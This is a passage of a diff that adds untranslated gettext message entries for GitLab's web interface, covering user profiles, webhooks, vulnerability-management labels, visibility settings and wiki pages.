+msgid "User was successfully removed from group."
+msgstr ""
+
+msgid "User was successfully removed from project."
+msgstr ""
+
+msgid "User was successfully updated."
+msgstr ""
+
+msgid "UserAvailability|%{author} (Busy)"
+msgstr ""
+
+msgid "UserAvailability|(Busy)"
+msgstr ""
+
+msgid "UserLists|Add"
+msgstr ""
+
+msgid "UserLists|Add Users"
+msgstr ""
+
+msgid "UserLists|Add users"
+msgstr ""
+
+msgid "UserLists|Cancel"
+msgstr ""
+
+msgid "UserLists|Create"
+msgstr ""
+
+msgid "UserLists|Define a set of users to be used within feature flag strategies"
+msgstr ""
+
+msgid "UserLists|Edit"
+msgstr ""
+
+msgid "UserLists|Edit %{name}"
+msgstr ""
+
+msgid "UserLists|Enter a comma separated list of user IDs. These IDs should be the users of the system in which the feature flag is set, not GitLab IDs"
+msgstr ""
+
+msgid "UserLists|Feature flag user list"
+msgstr ""
+
+msgid "UserLists|Lists allow you to define a set of users to be used with feature flags. %{linkStart}Read more about feature flag lists.%{linkEnd}"
+msgstr ""
+
+msgid "UserLists|Name"
+msgstr ""
+
+msgid "UserLists|New list"
+msgstr ""
+
+msgid "UserLists|Save"
+msgstr ""
+
+msgid "UserLists|There are no users"
+msgstr ""
+
+msgid "UserLists|User ID"
+msgstr ""
+
+msgid "UserLists|User IDs"
+msgstr ""
+
+msgid "UserList|Delete %{name}?"
+msgstr ""
+
+msgid "UserList|created %{timeago}"
+msgstr ""
+
+msgid "UserProfile|(Busy)"
+msgstr ""
+
+msgid "UserProfile|Activity"
+msgstr ""
+
+msgid "UserProfile|Already reported for abuse"
+msgstr ""
+
+msgid "UserProfile|Blocked user"
+msgstr ""
+
+msgid "UserProfile|Bot activity"
+msgstr ""
+
+msgid "UserProfile|Contributed projects"
+msgstr ""
+
+msgid "UserProfile|Edit profile"
+msgstr ""
+
+msgid "UserProfile|Explore public groups to find projects to contribute to."
+msgstr ""
+
+msgid "UserProfile|Followers"
+msgstr ""
+
+msgid "UserProfile|Following"
+msgstr ""
+
+msgid "UserProfile|Groups"
+msgstr ""
+
+msgid "UserProfile|Groups are the best way to manage projects and members."
+msgstr ""
+
+msgid "UserProfile|Join or create a group to start contributing by commenting on issues or submitting merge requests!"
+msgstr ""
+
+msgid "UserProfile|Most Recent Activity"
+msgstr ""
+
+msgid "UserProfile|No snippets found."
+msgstr ""
+
+msgid "UserProfile|Overview"
+msgstr ""
+
+msgid "UserProfile|Personal projects"
+msgstr ""
+
+msgid "UserProfile|Report abuse"
+msgstr ""
+
+msgid "UserProfile|Retry"
+msgstr ""
+
+msgid "UserProfile|Snippets"
+msgstr ""
+
+msgid "UserProfile|Snippets in GitLab can either be private, internal, or public."
+msgstr ""
+
+msgid "UserProfile|Star projects to track their progress and show your appreciation."
+msgstr ""
+
+msgid "UserProfile|Starred projects"
+msgstr ""
+
+msgid "UserProfile|Subscribe"
+msgstr ""
+
+msgid "UserProfile|This user doesn't have any followers."
+msgstr ""
+
+msgid "UserProfile|This user doesn't have any personal projects"
+msgstr ""
+
+msgid "UserProfile|This user has a private profile"
+msgstr ""
+
+msgid "UserProfile|This user hasn't contributed to any projects"
+msgstr ""
+
+msgid "UserProfile|This user hasn't starred any projects"
+msgstr ""
+
+msgid "UserProfile|This user is blocked"
+msgstr ""
+
+msgid "UserProfile|This user isn't following other users."
+msgstr ""
+
+msgid "UserProfile|Unconfirmed user"
+msgstr ""
+
+msgid "UserProfile|View all"
+msgstr ""
+
+msgid "UserProfile|View user in admin area"
+msgstr ""
+
+msgid "UserProfile|You are not following other users."
+msgstr ""
+
+msgid "UserProfile|You can create a group for several dependent projects."
+msgstr ""
+
+msgid "UserProfile|You do not have any followers."
+msgstr ""
+
+msgid "UserProfile|You haven't created any personal projects."
+msgstr ""
+
+msgid "UserProfile|You haven't created any snippets."
+msgstr ""
+
+msgid "UserProfile|Your projects can be available publicly, internally, or privately, at your choice."
+msgstr ""
+
+msgid "UserProfile|at"
+msgstr ""
+
+msgid "UserProfile|made a private contribution"
+msgstr ""
+
+msgid "Username (optional)"
+msgstr ""
+
+msgid "Username is already taken."
+msgstr ""
+
+msgid "Username is available."
+msgstr ""
+
+msgid "Username or email"
+msgstr ""
+
+msgid "Username: %{username}"
+msgstr ""
+
+msgid "Users"
+msgstr ""
+
+msgid "Users in License"
+msgstr ""
+
+msgid "Users or groups set as approvers in the project's or merge request's settings."
+msgstr ""
+
+msgid "Users over License"
+msgstr ""
+
+msgid "Users requesting access to"
+msgstr ""
+
+msgid "Users were successfully added."
+msgstr ""
+
+msgid "Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
+msgid "UsersSelect|%{name} + %{length} more"
+msgstr ""
+
+msgid "UsersSelect|Any User"
+msgstr ""
+
+msgid "UsersSelect|Assignee"
+msgstr ""
+
+msgid "UsersSelect|No assignee - %{openingTag} assign yourself %{closingTag}"
+msgstr ""
+
+msgid "UsersSelect|Unassigned"
+msgstr ""
+
+msgid "Using %{code_start}::%{code_end} denotes a %{link_start}scoped label set%{link_end}"
+msgstr ""
+
+msgid "Using additional formats requires starting the companion containers. Make sure that all %{kroki_images} are running."
+msgstr ""
+
+msgid "Using required encryption strategy when encrypted field is missing!"
+msgstr ""
+
+msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
+msgstr ""
+
+msgid "Valid from"
+msgstr ""
+
+msgid "Validate"
+msgstr ""
+
+msgid "Validate your GitLab CI configuration"
+msgstr ""
+
+msgid "Validate your GitLab CI configuration file"
+msgstr ""
+
+msgid "Validations failed."
+msgstr ""
+
+msgid "Value"
+msgstr ""
+
+msgid "Value Stream"
+msgstr ""
+
+msgid "Value Stream Analytics"
+msgstr ""
+
+msgid "Value Stream Analytics can help you determine your team’s velocity"
+msgstr ""
+
+msgid "Value Stream Analytics gives an overview of how much time it takes to go from idea to production in your project."
+msgstr ""
+
+msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}M"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}d"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}h"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}m"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}w"
+msgstr ""
+
+msgid "ValueStreamAnalytics|&lt;1m"
+msgstr ""
+
+msgid "ValueStreamAnalytics|Median time from first commit to issue closed."
+msgstr ""
+
+msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
+msgstr ""
+
+msgid "ValueStreamEvent|Start"
+msgstr ""
+
+msgid "ValueStreamEvent|Stop"
+msgstr ""
+
+msgid "ValueStream|The Default Value Stream cannot be deleted"
+msgstr ""
+
+msgid "Variable"
+msgstr ""
+
+msgid "Variable will be masked in job logs."
+msgstr ""
+
+msgid "Variables"
+msgstr ""
+
+msgid "Variables can be:"
+msgstr ""
+
+msgid "Variables store information, like passwords and secret keys, that you can use in job scripts."
+msgstr ""
+
+msgid "Variables store information, like passwords and secret keys, that you can use in job scripts. All projects on the instance can use these variables."
+msgstr ""
+
+msgid "Various container registry settings."
+msgstr ""
+
+msgid "Various email settings."
+msgstr ""
+
+msgid "Various localization settings."
+msgstr ""
+
+msgid "Various settings that affect GitLab performance."
+msgstr ""
+
+msgid "Verification concurrency limit"
+msgstr ""
+
+msgid "Verification information"
+msgstr ""
+
+msgid "Verification status"
+msgstr ""
+
+msgid "Verified"
+msgstr ""
+
+msgid "Verify SAML Configuration"
+msgstr ""
+
+msgid "Verify configuration"
+msgstr ""
+
+msgid "Version"
+msgstr ""
+
+msgid "Version %{versionNumber}"
+msgstr ""
+
+msgid "Version %{versionNumber} (latest)"
+msgstr ""
+
+msgid "View Documentation"
+msgstr ""
+
+msgid "View alert details at"
+msgstr ""
+
+msgid "View alert details."
+msgstr ""
+
+msgid "View all environments."
+msgstr ""
+
+msgid "View all issues"
+msgstr ""
+
+msgid "View blame prior to this change"
+msgstr ""
+
+msgid "View chart"
+msgid_plural "View charts"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "View dependency details for your project"
+msgstr ""
+
+msgid "View deployment"
+msgstr ""
+
+msgid "View details"
+msgstr ""
+
+msgid "View details: %{details_url}"
+msgstr ""
+
+msgid "View documentation"
+msgstr ""
+
+msgid "View eligible approvers"
+msgstr ""
+
+msgid "View epics list"
+msgstr ""
+
+msgid "View exposed artifact"
+msgid_plural "View %d exposed artifacts"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "View file @ "
+msgstr ""
+
+msgid "View file @ %{commitSha}"
+msgstr ""
+
+msgid "View full dashboard"
+msgstr ""
+
+msgid "View full log"
+msgstr ""
+
+msgid "View group labels"
+msgstr ""
+
+msgid "View incident issues."
+msgstr ""
+
+msgid "View issue"
+msgstr ""
+
+msgid "View issues"
+msgstr ""
+
+msgid "View it on GitLab"
+msgstr ""
+
+msgid "View job"
+msgstr ""
+
+msgid "View job log"
+msgstr ""
+
+msgid "View jobs"
+msgstr ""
+
+msgid "View labels"
+msgstr ""
+
+msgid "View log"
+msgstr ""
+
+msgid "View logs"
+msgstr ""
+
+msgid "View merge request"
+msgstr ""
+
+msgid "View on %{url}"
+msgstr ""
+
+msgid "View open merge request"
+msgstr ""
+
+msgid "View page @ "
+msgstr ""
+
+msgid "View performance dashboard."
+msgstr ""
+
+msgid "View project"
+msgstr ""
+
+msgid "View project labels"
+msgstr ""
+
+msgid "View replaced file @ "
+msgstr ""
+
+msgid "View setting"
+msgstr ""
+
+msgid "View supported languages and frameworks"
+msgstr ""
+
+msgid "View the documentation"
+msgstr ""
+
+msgid "View the jobs grouped into stages"
+msgstr ""
+
+msgid "View the latest successful deployment to this environment"
+msgstr ""
+
+msgid "View the performance dashboard at"
+msgstr ""
+
+msgid "View users statistics"
+msgstr ""
+
+msgid "View what jobs are needed for a job to run"
+msgstr ""
+
+msgid "Viewed"
+msgstr ""
+
+msgid "Viewing commit"
+msgstr ""
+
+msgid "Visibility"
+msgstr ""
+
+msgid "Visibility and access controls"
+msgstr ""
+
+msgid "Visibility level"
+msgstr ""
+
+msgid "Visibility level:"
+msgstr ""
+
+msgid "Visibility settings have been disabled by the administrator."
+msgstr ""
+
+msgid "Visibility, project features, permissions"
+msgstr ""
+
+msgid "Visibility:"
+msgstr ""
+
+msgid "VisibilityLevel|Internal"
+msgstr ""
+
+msgid "VisibilityLevel|Private"
+msgstr ""
+
+msgid "VisibilityLevel|Public"
+msgstr ""
+
+msgid "VisibilityLevel|Unknown"
+msgstr ""
+
+msgid "Visit settings page"
+msgstr ""
+
+msgid "Visual Studio Code"
+msgstr ""
+
+msgid "VisualReviewApp|%{stepStart}Step 1%{stepEnd}. Copy the following script:"
+msgstr ""
+
+msgid "VisualReviewApp|%{stepStart}Step 2%{stepEnd}. Add it to the %{headTags} tags of every page of your application, ensuring the merge request ID is set or not set as required. "
+msgstr ""
+
+msgid "VisualReviewApp|%{stepStart}Step 3%{stepEnd}. If not previously %{linkStart}configured%{linkEnd} by a developer, enter the merge request ID for the review when prompted. The ID of this merge request is %{stepStart}%{mrId}%{stepStart}."
+msgstr ""
+
+msgid "VisualReviewApp|%{stepStart}Step 4%{stepEnd}. Leave feedback in the Review App."
+msgstr ""
+
+msgid "VisualReviewApp|Cancel"
+msgstr ""
+
+msgid "VisualReviewApp|Copy merge request ID"
+msgstr ""
+
+msgid "VisualReviewApp|Copy script"
+msgstr ""
+
+msgid "VisualReviewApp|Enable Visual Reviews"
+msgstr ""
+
+msgid "VisualReviewApp|Follow the steps below to enable Visual Reviews inside your application."
+msgstr ""
+
+msgid "VisualReviewApp|No review app found or available."
+msgstr ""
+
+msgid "VisualReviewApp|Open review app"
+msgstr ""
+
+msgid "VisualReviewApp|Review"
+msgstr ""
+
+msgid "VisualReviewApp|Steps 1 and 2 (and sometimes 3) are performed once by the developer before requesting feedback. Steps 3 (if necessary), 4 is performed by the reviewer each time they perform a review."
+msgstr ""
+
+msgid "Vulnerabilities"
+msgstr ""
+
+msgid "Vulnerabilities over time"
+msgstr ""
+
+msgid "Vulnerability Report"
+msgstr ""
+
+msgid "Vulnerability remediated. Review before resolving."
+msgstr ""
+
+msgid "Vulnerability resolved in %{branch}"
+msgstr ""
+
+msgid "Vulnerability resolved in the default branch"
+msgstr ""
+
+msgid "Vulnerability-Check"
+msgstr ""
+
+msgid "VulnerabilityChart|%{formattedStartDate} to today"
+msgstr ""
+
+msgid "VulnerabilityChart|Severity"
+msgstr ""
+
+msgid "VulnerabilityManagement, Fetching linked Jira issues"
+msgstr ""
+
+msgid "VulnerabilityManagement|%{statusStart}Confirmed%{statusEnd} %{timeago} by %{user}"
+msgstr ""
+
+msgid "VulnerabilityManagement|%{statusStart}Detected%{statusEnd} %{timeago} in pipeline %{pipelineLink}"
+msgstr ""
+
+msgid "VulnerabilityManagement|%{statusStart}Dismissed%{statusEnd} %{timeago} by %{user}"
+msgstr ""
+
+msgid "VulnerabilityManagement|%{statusStart}Resolved%{statusEnd} %{timeago} by %{user}"
+msgstr ""
+
+msgid "VulnerabilityManagement|A true-positive and will fix"
+msgstr ""
+
+msgid "VulnerabilityManagement|Change status"
+msgstr ""
+
+msgid "VulnerabilityManagement|Could not process %{issueReference}: %{errorMessage}."
+msgstr ""
+
+msgid "VulnerabilityManagement|Create Jira issue"
+msgstr ""
+
+msgid "VulnerabilityManagement|Detected"
+msgstr ""
+
+msgid "VulnerabilityManagement|Needs triage"
+msgstr ""
+
+msgid "VulnerabilityManagement|Read more about related issues"
+msgstr ""
+
+msgid "VulnerabilityManagement|Related Jira issues"
+msgstr ""
+
+msgid "VulnerabilityManagement|Something went wrong while trying to delete the comment. Please try again later."
+msgstr ""
+
+msgid "VulnerabilityManagement|Something went wrong while trying to fetch related Jira issues. Please check the %{linkStart}Jira integration settings%{linkEnd} and try again."
+msgstr ""
+
+msgid "VulnerabilityManagement|Something went wrong while trying to refresh the vulnerability. Please try again later."
+msgstr ""
+
+msgid "VulnerabilityManagement|Something went wrong while trying to retrieve the vulnerability history. Please try again later."
+msgstr ""
+
+msgid "VulnerabilityManagement|Something went wrong while trying to save the comment. Please try again later."
+msgstr ""
+
+msgid "VulnerabilityManagement|Something went wrong while trying to unlink the issue. Please try again later."
+msgstr ""
+
+msgid "VulnerabilityManagement|Something went wrong, could not get user."
+msgstr ""
+
+msgid "VulnerabilityManagement|Something went wrong, could not update vulnerability state."
+msgstr ""
+
+msgid "VulnerabilityManagement|Verified as fixed or mitigated"
+msgstr ""
+
+msgid "VulnerabilityManagement|Will not fix or a false-positive"
+msgstr ""
+
+msgid "VulnerabilityManagement|invalid issue link or ID"
+msgstr ""
+
+msgid "VulnerabilityStatusTypes|All"
+msgstr ""
+
+msgid "VulnerabilityStatusTypes|Confirmed"
+msgstr ""
+
+msgid "VulnerabilityStatusTypes|Detected"
+msgstr ""
+
+msgid "VulnerabilityStatusTypes|Dismissed"
+msgstr ""
+
+msgid "VulnerabilityStatusTypes|Resolved"
+msgstr ""
+
+msgid "Vulnerability|%{scannerName} (version %{scannerVersion})"
+msgstr ""
+
+msgid "Vulnerability|Activity"
+msgstr ""
+
+msgid "Vulnerability|Actual Response"
+msgstr ""
+
+msgid "Vulnerability|Actual received response is the one received when this fault was detected"
+msgstr ""
+
+msgid "Vulnerability|Additional Info"
+msgstr ""
+
+msgid "Vulnerability|Class"
+msgstr ""
+
+msgid "Vulnerability|Comments"
+msgstr ""
+
+msgid "Vulnerability|Crash address"
+msgstr ""
+
+msgid "Vulnerability|Crash state"
+msgstr ""
+
+msgid "Vulnerability|Crash type"
+msgstr ""
+
+msgid "Vulnerability|Description"
+msgstr ""
+
+msgid "Vulnerability|Detected"
+msgstr ""
+
+msgid "Vulnerability|Download"
+msgstr ""
+
+msgid "Vulnerability|Evidence"
+msgstr ""
+
+msgid "Vulnerability|File"
+msgstr ""
+
+msgid "Vulnerability|Identifier"
+msgstr ""
+
+msgid "Vulnerability|Identifiers"
+msgstr ""
+
+msgid "Vulnerability|Image"
+msgstr ""
+
+msgid "Vulnerability|Links"
+msgstr ""
+
+msgid "Vulnerability|Method"
+msgstr ""
+
+msgid "Vulnerability|Namespace"
+msgstr ""
+
+msgid "Vulnerability|Project"
+msgstr ""
+
+msgid "Vulnerability|Reproduction Assets"
+msgstr ""
+
+msgid "Vulnerability|Request"
+msgstr ""
+
+msgid "Vulnerability|Request/Response"
+msgstr ""
+
+msgid "Vulnerability|Scanner"
+msgstr ""
+
+msgid "Vulnerability|Scanner Provider"
+msgstr ""
+
+msgid "Vulnerability|Severity"
+msgstr ""
+
+msgid "Vulnerability|Status"
+msgstr ""
+
+msgid "Vulnerability|The unmodified response is the original response that had no mutations done to the request"
+msgstr ""
+
+msgid "Vulnerability|Unmodified Response"
+msgstr ""
+
+msgid "Wait for the file to load to copy its contents"
+msgstr ""
+
+msgid "Waiting for merge (open and assigned)"
+msgstr ""
+
+msgid "Waiting for performance data"
+msgstr ""
+
+msgid "Want to see the data? Please ask an administrator for access."
+msgstr ""
+
+msgid "Warning"
+msgstr ""
+
+msgid "Warning:"
+msgstr ""
+
+msgid "Warning: Displaying this diagram might cause performance issues on this page."
+msgstr ""
+
+msgid "We are currently unable to fetch data for the pipeline header."
+msgstr ""
+
+msgid "We are currently unable to fetch data for this graph."
+msgstr ""
+
+msgid "We are currently unable to fetch data for this pipeline."
+msgstr ""
+
+msgid "We could not determine the path to remove the epic"
+msgstr ""
+
+msgid "We could not determine the path to remove the issue"
+msgstr ""
+
+msgid "We couldn't find any %{scope} matching %{term}"
+msgstr ""
+
+msgid "We couldn't find any %{scope} matching %{term} in group %{group}"
+msgstr ""
+
+msgid "We couldn't find any %{scope} matching %{term} in project %{project}"
+msgstr ""
+
+msgid "We couldn't reach the Prometheus server. Either the server no longer exists or the configuration details need updating."
+msgstr ""
+
+msgid "We created a sandbox project that will help you learn the basics of GitLab. You’ll be guided by issues in an issue board. You can go through the issues at your own pace."
+msgstr ""
+
+msgid "We detected potential spam in the %{humanized_resource_name}. Please solve the reCAPTCHA to proceed."
+msgstr ""
+
+msgid "We don't have enough data to show this stage."
+msgstr ""
+
+msgid "We have found the following errors:"
+msgstr ""
+
+msgid "We heard back from your device. You have been authenticated."
+msgstr ""
+
+msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
+msgstr ""
+
+msgid "We recommend leaving all SAST analyzers enabled"
+msgstr ""
+
+msgid "We recommend that you buy more Pipeline minutes to avoid any interruption of service."
+msgstr ""
+
+msgid "We recommend that you buy more Pipeline minutes to resume normal service."
+msgstr ""
+
+msgid "We sent you an email with reset password instructions"
+msgstr ""
+
+msgid "We tried to automatically renew your subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
+msgstr ""
+
+msgid "We want to be sure it is you, please confirm you are not a robot."
+msgstr ""
+
+msgid "We will notify %{inviter} that you declined their invitation to join GitLab. You will stop receiving reminders."
+msgstr ""
+
+msgid "We would like to inform you that your subscription GitLab Enterprise Edition %{plan_name} is nearing its user limit. You have %{active_user_count} active users, which is almost at the user limit of %{maximum_user_count}."
+msgstr ""
+
+msgid "We'll continuously validate your pipeline configuration. The validation results will appear here."
+msgstr ""
+
+msgid "We've found no vulnerabilities"
+msgstr ""
+
+msgid "Web Application Firewall"
+msgstr ""
+
+msgid "Web IDE"
+msgstr ""
+
+msgid "Web Terminal"
+msgstr ""
+
+msgid "Web terminal"
+msgstr ""
+
+msgid "WebAuthn Devices (%{length})"
+msgstr ""
+
+msgid "WebAuthn only works with HTTPS-enabled websites. Contact your administrator for more details."
+msgstr ""
+
+msgid "WebIDE|Fork project"
+msgstr ""
+
+msgid "WebIDE|Go to fork"
+msgstr ""
+
+msgid "WebIDE|Merge request"
+msgstr ""
+
+msgid "WebIDE|This project does not accept unsigned commits."
+msgstr ""
+
+msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgstr ""
+
+msgid "WebIDE|You need permission to edit files directly in this project."
+msgstr ""
+
+msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
+msgstr ""
+
+msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgstr ""
+
+msgid "Webhook"
+msgstr ""
+
+msgid "Webhook Logs"
+msgstr ""
+
+msgid "Webhook Settings"
+msgstr ""
+
+msgid "Webhook:"
+msgstr ""
+
+msgid "Webhooks"
+msgstr ""
+
+msgid "Webhooks Help"
+msgstr ""
+
+msgid "Webhooks allow you to trigger a URL if, for example, new code is pushed or a new issue is created. You can configure webhooks to listen for specific events like pushes, issues or merge requests. Group webhooks will apply to all projects in a group, allowing you to standardize webhook functionality across your entire group."
+msgstr ""
+
+msgid "Webhooks have moved. They can now be found under the Settings menu."
+msgstr ""
+
+msgid "Webhooks|Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential comments"
+msgstr ""
+
+msgid "Webhooks|Confidential issues events"
+msgstr ""
+
+msgid "Webhooks|Deployment events"
+msgstr ""
+
+msgid "Webhooks|Enable SSL verification"
+msgstr ""
+
+msgid "Webhooks|Feature flag events"
+msgstr ""
+
+msgid "Webhooks|Issues events"
+msgstr ""
+
+msgid "Webhooks|Job events"
+msgstr ""
+
+msgid "Webhooks|Member events"
+msgstr ""
+
+msgid "Webhooks|Merge request events"
+msgstr ""
+
+msgid "Webhooks|Pipeline events"
+msgstr ""
+
+msgid "Webhooks|Push events"
+msgstr ""
+
+msgid "Webhooks|Releases events"
+msgstr ""
+
+msgid "Webhooks|SSL verification"
+msgstr ""
+
+msgid "Webhooks|Secret token"
+msgstr ""
+
+msgid "Webhooks|Subgroup events"
+msgstr ""
+
+msgid "Webhooks|Tag push events"
+msgstr ""
+
+msgid "Webhooks|Trigger"
+msgstr ""
+
+msgid "Webhooks|URL"
+msgstr ""
+
+msgid "Webhooks|URL is triggered by a push to the repository"
+msgstr ""
+
+msgid "Webhooks|URL is triggered when a confidential issue is created, updated, or merged"
+msgstr ""
+
+msgid "Webhooks|URL is triggered when a deployment starts, finishes, fails, or is canceled"
+msgstr ""
+
+msgid "Webhooks|URL is triggered when a feature flag is turned on or off"
+msgstr ""
+
+msgid "Webhooks|URL is triggered when a group member is created, updated, or removed"
+msgstr ""
+
+msgid "Webhooks|URL is triggered when a merge request is created, updated, or merged"
+msgstr ""
+
+msgid "Webhooks|URL is triggered when a new tag is pushed to the repository"
+msgstr ""
+
+msgid "Webhooks|URL is triggered when a release is created or updated"
+msgstr ""
+
+msgid "Webhooks|URL is triggered when a subgroup is created or removed"
+msgstr ""
+
+msgid "Webhooks|URL is triggered when a wiki page is created or updated"
+msgstr ""
+
+msgid "Webhooks|URL is triggered when an issue is created, updated, or merged"
+msgstr ""
+
+msgid "Webhooks|URL is triggered when someone adds a comment"
+msgstr ""
+
+msgid "Webhooks|URL is triggered when someone adds a comment on a confidential issue"
+msgstr ""
+
+msgid "Webhooks|URL is triggered when the job status changes"
+msgstr ""
+
+msgid "Webhooks|URL is triggered when the pipeline status changes"
+msgstr ""
+
+msgid "Webhooks|URL must be percent-encoded if neccessary."
+msgstr ""
+
+msgid "Webhooks|Use this token to validate received payloads. It is sent with the request in the X-Gitlab-Token HTTP header."
+msgstr ""
+
+msgid "Webhooks|Wiki page events"
+msgstr ""
+
+msgid "Wednesday"
+msgstr ""
+
+msgid "Weekday"
+msgstr ""
+
+msgid "Weeks"
+msgstr ""
+
+msgid "Weight"
+msgstr ""
+
+msgid "Weight %{weight}"
+msgstr ""
+
+msgid "Welcome back! Your account had been deactivated due to inactivity but is now reactivated."
+msgstr ""
+
+msgid "Welcome to GitLab"
+msgstr ""
+
+msgid "Welcome to GitLab, %{first_name}!"
+msgstr ""
+
+msgid "Welcome to GitLab,%{br_tag}%{name}!"
+msgstr ""
+
+msgid "Welcome to the guided GitLab tour"
+msgstr ""
+
+msgid "What are you searching for?"
+msgstr ""
+
+msgid "What describes you best?"
+msgstr ""
+
+msgid "What does this command do?"
+msgstr ""
+
+msgid "What is repository mirroring?"
+msgstr ""
+
+msgid "What is squashing?"
+msgstr ""
+
+msgid "What is your job title? (optional)"
+msgstr ""
+
+msgid "What's new"
+msgstr ""
+
+msgid "What’s your experience level?"
+msgstr ""
+
+msgid "When Kroki is enabled, GitLab sends diagrams to an instance of Kroki to display them as images. You can use the free public cloud instance %{kroki_public_url} or you can %{install_link} on your own infrastructure. Once you've installed Kroki, make sure to update the server URL to point to your instance."
+msgstr ""
+
+msgid "When a deployment job is successful, skip older deployment jobs that are still pending."
+msgstr ""
+
+msgid "When a runner is locked, it cannot be assigned to other projects"
+msgstr ""
+
+msgid "When enabled, any user visiting %{host} and creating an account will have to be explicitly approved by an admin before they can sign in. This setting is effective only if sign-ups are enabled."
+msgstr ""
+
+msgid "When enabled, any user visiting %{host} will be able to create an account."
+msgstr ""
+
+msgid "When enabled, if an npm package isn't found in the GitLab Registry, we will attempt to pull from the global npm registry."
+msgstr ""
+
+msgid "When enabled, users cannot use GitLab until the terms have been accepted."
+msgstr ""
+
+msgid "When leaving the URL blank, classification labels can still be specified without disabling cross project features or performing external authorization checks."
+msgstr ""
+
+msgid "When merge requests and commits in the default branch close, any issues they reference also close."
+msgstr ""
+
+msgid "When this merge request is accepted"
+msgid_plural "When these merge requests are accepted"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "When using the %{code_open}http://%{code_close} or %{code_open}https://%{code_close} protocols, please provide the exact URL to the repository. HTTP redirects will not be followed."
+msgstr ""
+
+msgid "When using the %{code_open}http://%{code_close} or %{code_open}https://%{code_close} protocols, provide the exact URL to the repository. HTTP redirects will not be followed."
+msgstr ""
+
+msgid "When:"
+msgstr ""
+
+msgid "While it's rare to have no vulnerabilities, it can happen. In any event, we ask that you please double check your settings to make sure you've set up your dashboard correctly."
+msgstr ""
+
+msgid "Who can approve?"
+msgstr ""
+
+msgid "Who can see this group?"
+msgstr ""
+
+msgid "Who will be able to see this group?"
+msgstr ""
+
+msgid "Who will be using GitLab?"
+msgstr ""
+
+msgid "Who will be using this GitLab subscription?"
+msgstr ""
+
+msgid "Who will be using this GitLab trial?"
+msgstr ""
+
+msgid "Wiki"
+msgstr ""
+
+msgid "Wiki page was successfully created."
+msgstr ""
+
+msgid "Wiki page was successfully deleted."
+msgstr ""
+
+msgid "Wiki page was successfully updated."
+msgstr ""
+
+msgid "WikiClone|Clone your wiki"
+msgstr ""
+
+msgid "WikiClone|Git Access"
+msgstr ""
+
+msgid "WikiClone|Install Gollum"
+msgstr ""
+
+msgid "WikiClone|Start Gollum and edit locally"
+msgstr ""
+
+msgid "WikiEdit|There is already a page with the same title in that path."
+msgstr ""
+
+msgid "WikiEmptyIssueMessage|Suggest wiki improvement"
+msgstr ""
+
+msgid "WikiEmptyIssueMessage|You must be a group member in order to add wiki pages. If you have suggestions for how to improve the wiki for this group, consider opening an issue in the %{issues_link}."
+msgstr ""
+
+msgid "WikiEmptyIssueMessage|You must be a project member in order to add wiki pages. If you have suggestions for how to improve the wiki for this project, consider opening an issue in the %{issues_link}."
+msgstr ""
+
+msgid "WikiEmptyIssueMessage|issue tracker"
+msgstr ""
+
+msgid "WikiEmpty| Have a Confluence wiki already? Use that instead."
+msgstr ""
+
+msgid "WikiEmpty|A wiki is where you can store all the details about your group. This can include why you've created it, its principles, how to use it, and so on."
+msgstr ""
+
+msgid "WikiEmpty|A wiki is where you can store all the details about your project. This can include why you've created it, its principles, how to use it, and so on."
+msgstr ""
+
+msgid "WikiEmpty|Confluence is enabled"
+msgstr ""
+
+msgid "WikiEmpty|Create your first page"
+msgstr ""
+
+msgid "WikiEmpty|Enable the Confluence Wiki integration"
+msgstr ""
+
+msgid "WikiEmpty|Go to Confluence"
+msgstr ""
+
+msgid "WikiEmpty|Suggest wiki improvement"
+msgstr ""
+
+msgid "WikiEmpty|The wiki lets you write documentation for your group"
+msgstr ""
+
+msgid "WikiEmpty|The wiki lets you write documentation for your project"
+msgstr ""
+
+msgid "WikiEmpty|This group has no wiki pages"
+msgstr ""
+
+msgid "WikiEmpty|This project has no wiki pages"
+msgstr ""
+
+msgid "WikiEmpty|You must be a group member in order to add wiki pages."
+msgstr ""
+
+msgid "WikiEmpty|You must be a project member in order to add wiki pages."
+msgstr ""
+
+msgid "WikiEmpty|You've enabled the Confluence Workspace integration. Your wiki will be viewable directly within Confluence. We are hard at work integrating Confluence more seamlessly into GitLab. If you'd like to stay up to date, follow our %{wiki_confluence_epic_link_start}Confluence epic%{wiki_confluence_epic_link_end}."
+msgstr ""
+
+msgid "WikiHistoricalPage|This is an old version of this page."
+msgstr ""
+
+msgid "WikiHistoricalPage|You can view the %{most_recent_link} or browse the %{history_link}."
+msgstr ""
+
+msgid "WikiHistoricalPage|history"
+msgstr ""
+
+msgid "WikiHistoricalPage|most recent version"
+msgstr ""
+
+msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
+msgstr ""
+
+msgid "WikiPageConfirmDelete|Delete page"
+msgstr ""
+
+msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
+msgstr ""
+
+msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
+msgstr ""
+
+msgid "WikiPage|Commit message"
+msgstr ""
+
+msgid "WikiPage|Content"
+msgstr ""
+
+msgid "WikiPage|Create %{pageTitle}"
+msgstr ""
+
